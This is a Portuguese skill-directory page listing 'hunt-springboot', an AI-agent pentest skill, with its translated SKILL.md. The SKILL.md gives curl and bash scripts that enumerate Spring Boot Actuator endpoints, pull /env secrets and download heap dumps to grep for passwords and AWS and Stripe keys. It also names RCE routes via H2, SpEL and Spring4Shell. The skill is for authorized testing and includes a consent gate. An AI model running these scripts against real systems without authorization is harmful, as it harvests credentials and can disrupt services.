Pular para o conteúdo
Skillpedia
Segurança48 mil · #3289

hunt-springboot

Ajuda seu agente a identificar vulnerabilidades específicas do Spring Boot. É útil para proteger aplicações desenvolvidas com essa tecnologia.

O que ela faz

Esta ferramenta ajuda a encontrar falhas de segurança específicas em aplicações feitas com Spring Boot. Ela procura por informações sensíveis expostas e maneiras de executar comandos remotamente.

Quando usar

  • ✓Ao testar a segurança de uma aplicação Spring Boot.
  • ✓Para verificar se segredos como senhas foram expostos.
  • ✓Para identificar vulnerabilidades conhecidas em aplicações Spring Boot.

Exemplo do que pedir para a IA

“Verifique a aplicação em https://exemplo.com para vulnerabilidades conhecidas do Spring Boot.”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/hunt-springboot/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/hunt-springboot/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

A ferramenta tenta acessar caminhos comuns em aplicações Spring Boot que podem expor dados sensíveis ou permitir a execução de comandos. Ela verifica endpoints como '/actuator/heapdump' e '/actuator/env' para encontrar informações confidenciais.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add sickn33/agentic-awesome-skills --skill hunt-springboot

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/sickn33/agentic-awesome-skills/main/plugins/agentic-awesome-skills-claude/skills/hunt-springboot/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

⚠️ USO AUTORIZADO APENAS Esta habilidade destina-se apenas a fins educacionais ou avaliações de segurança autorizadas. Você deve ter permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. O uso indevido desta ferramenta é ilegal e estritamente proibido.

Portão de confirmação obrigatório Antes de executar qualquer comando que sonde, explore, altere, persista, extraia dados ou tente acesso a credenciais contra um alvo:

  1. Peça ao usuário para declarar o URL, IP, conta ou recurso exato do alvo.
  2. Peça ao usuário para confirmar a autorização por escrito e o escopo permitido.
  3. Mostre o(s) comando(s) exato(s) e explique seu efeito esperado.
  4. Aguarde a confirmação explícita na conversa atual.

Sem essa confirmação, permaneça somente leitura e forneça apenas orientação defensiva. Prefira um sandbox, VM descartável ou laboratório controlado.

HUNT-SPRINGBOOT — Vulnerabilidades Específicas do Spring Boot

Alvos de Joia da Coroa

Spring Boot Actuator /actuator/heapdump exposto = dump de heap com todos os segredos na memória.

Descobertas de maior valor:

  • /actuator/heapdump — dump completo da heap da JVM contém senhas em texto puro, tokens, credenciais de DB, chaves privadas armazenadas em qualquer lugar da memória
  • /actuator/env — lista todas as variáveis de ambiente e propriedades do Spring, incluindo segredos
  • /actuator/shutdown — POST → desliga a aplicação (Impacto crítico na disponibilidade)
  • H2 Console (/h2-console) — UI de admin de DB em memória → execução de consulta SQL → RCE potencial via truque CREATE ALIAS
  • Injeção de SpEL — Spring Expression Language em campos de template, anotações @Value, parâmetros de requisição processados por SpEL → RCE
  • Spring4Shell CVE-2022-22965 — Spring Framework < 5.3.18 + Tomcat → RCE via data binding

Fase 1 — Identificação do Spring Boot

# Spring Boot indicators
curl -sI https://$TARGET/ | grep -i "x-application-context\|x-content-type"
curl -s "https://$TARGET/nonexistent" | grep -i "Whitelabel Error Page\|Spring Boot\|org.springframework"

# Actuator root (may list available endpoints)
curl -s "https://$TARGET/actuator" | python3 -m json.tool 2>/dev/null
curl -s "https://$TARGET/actuator/" | python3 -m json.tool 2>/dev/null

# Try common base paths
for base in "" "/manage" "/management" "/app"; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$base/actuator")
  [ "$STATUS" = "200" ] && echo "[+] Actuator at: $TARGET$base/actuator"
done

Fase 2 — Enumeração de Endpoints do Actuator

BASE="https://$TARGET/actuator"

# High-impact endpoints
ENDPOINTS=("env" "heapdump" "threaddump" "mappings" "beans" "metrics" 
           "loggers" "info" "health" "configprops" "shutdown" "trace"
           "httptrace" "auditevents" "sessions" "scheduledtasks" "caches"
           "flyway" "liquibase" "refresh" "restart")

for EP in "${ENDPOINTS[@]}"; do
  # Don't trust HTTP 200 alone — Spring returns 200 with a Whitelabel/login
  # page for many paths. Require actuator-shaped JSON (or a heapdump body)
  # before calling it EXPOSED.
  BODY=$(curl -s -H "Accept: application/json" "$BASE/$EP")
  CT=$(curl -s -o /dev/null -w "%{content_type}" -H "Accept: application/json" "$BASE/$EP")
  if echo "$CT" | grep -qi "json" && ! echo "$BODY" | grep -qi "Whitelabel Error Page\|<html"; then
    echo "[+] EXPOSED: $BASE/$EP"
  fi
done

# Get environment variables (passwords, API keys)
curl -s "$BASE/env" | python3 -m json.tool 2>/dev/null | grep -i "password\|secret\|key\|token\|credential" | head -20

# Get all endpoint mappings (full API surface)
curl -s "$BASE/mappings" | python3 -m json.tool 2>/dev/null | grep -oP '"pattern":"\K[^"]+' | sort

# Get Spring beans (lists all registered beans, reveals internal architecture)
curl -s "$BASE/beans" | python3 -m json.tool 2>/dev/null | head -100

Fase 3 — Análise do Dump de Heap

# Baixar dump de heap (pode ser grande — 100MB+)
curl -s "$BASE/heapdump" -o /tmp/heapdump.hprof
ls -lh /tmp/heapdump.hprof

# Grep rápido para segredos no dump de heap (arquivo binário — use strings)
strings /tmp/heapdump.hprof | grep -iE "(password|secret|apikey|api_key|token|bearer|private_key)" | \
  grep -v "^[a-z_]" | sort -u | head -50

# Extração mais direcionada
strings /tmp/heapdump.hprof | grep -oP "(?:password|passwd|pwd)\s*[=:]\s*\S+" | sort -u | head -20
strings /tmp/heapdump.hprof | grep -oP "AKIA[A-Z0-9]{16}" | sort -u        # Chaves AWS
strings /tmp/heapdump.hprof | grep -oP "sk_live_[A-Za-z0-9]+" | sort -u     # Chaves Stripe

…
Perguntas frequentes

O que são 'endpoints' no Spring Boot?

Endpoints são caminhos (URLs) em uma aplicação que fornecem informações ou funcionalidades. No Spring Boot, alguns endpoints, como os de 'actuator', podem expor dados internos se não forem protegidos corretamente.

O que é um 'heap dump'?

Um heap dump é uma 'foto' da memória de um programa em execução. Ele pode conter informações sensíveis como senhas, chaves de API e tokens que estavam na memória no momento em que a foto foi tirada.

O que significa 'RCE'?

RCE significa 'Remote Code Execution' (Execução Remota de Código). É uma vulnerabilidade grave que permite a um atacante executar comandos no servidor onde a aplicação está rodando.

Detalhes

Descrição original do autor

Hunt Spring Boot specific vulnerabilities

repo: sickn33/agentic-awesome-skills

Popularidade

Estrelas no GitHub
48 mil
Posição no ranking
#3289
Licença
MIT
Atualizada em
15/10/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas